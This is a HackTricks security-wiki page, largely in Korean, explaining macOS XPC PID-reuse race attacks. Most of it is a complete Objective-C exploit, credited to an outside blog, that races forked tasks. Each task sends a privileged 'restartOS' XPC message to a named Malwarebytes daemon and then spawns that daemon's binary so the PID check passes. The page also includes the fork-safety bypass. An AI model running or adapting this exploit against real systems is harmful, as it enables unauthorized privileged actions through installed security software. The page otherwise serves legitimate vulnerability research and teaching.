macOS PID Reuse

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!

HackTricks를 지원하는 다른 방법:

PID 재사용

macOS XPC 서비스PID에 기반하여 호출된 프로세스를 확인할 때 오디트 토큰이 아닌 경우, PID 재사용 공격에 취약해집니다. 이 공격은 레이스 컨디션에 기반하며 악용 기능을 이용하여 XPC 서비스로 메시지를 보내고직후에 **posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)**를 실행하는 공격입니다.

이 함수는 허용된 이진 파일이 PID를 소유하게 만들지만 악의적인 XPC 메시지는 바로 전에 전송되었습니다. 따라서 XPC 서비스가 PID를 사용하여 송신자를 인증하고 posix_spawn 실행 후에 확인하는 경우, 이는 인가된 프로세스에서 온 것으로 생각합니다.

공격 예시

만약 shouldAcceptNewConnection 함수나 해당 함수에서 호출되는 함수가 **auditToken**을 호출하는 대신 **processIdentifier**를 호출한다면, 프로세스 PID를 확인하고 오디트 토큰을 확인하지 않는 것입니다. 예를 들어, 다음 이미지에서 확인할 수 있습니다 (참조에서 가져옴):

이 예시 공격을 확인하려면 (다시 한번, 참조에서 가져옴):

  • 여러 번 포크를 생성하는 부분

  • 각 포크페이로드를 XPC 서비스로 보내면서 메시지를 보낸 직후 **posix_spawn**을 실행합니다.

공격이 작동하려면 export`` ``**OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES**를 설정하거나 공격 내부에 넣는 것이 중요합니다.

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

**NSTasks**를 사용하는 첫 번째 옵션은 RC를 악용하기 위해 자식 프로세스를 실행하는 인수입니다.

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

다른 예시

참고 자료

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 영웅까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated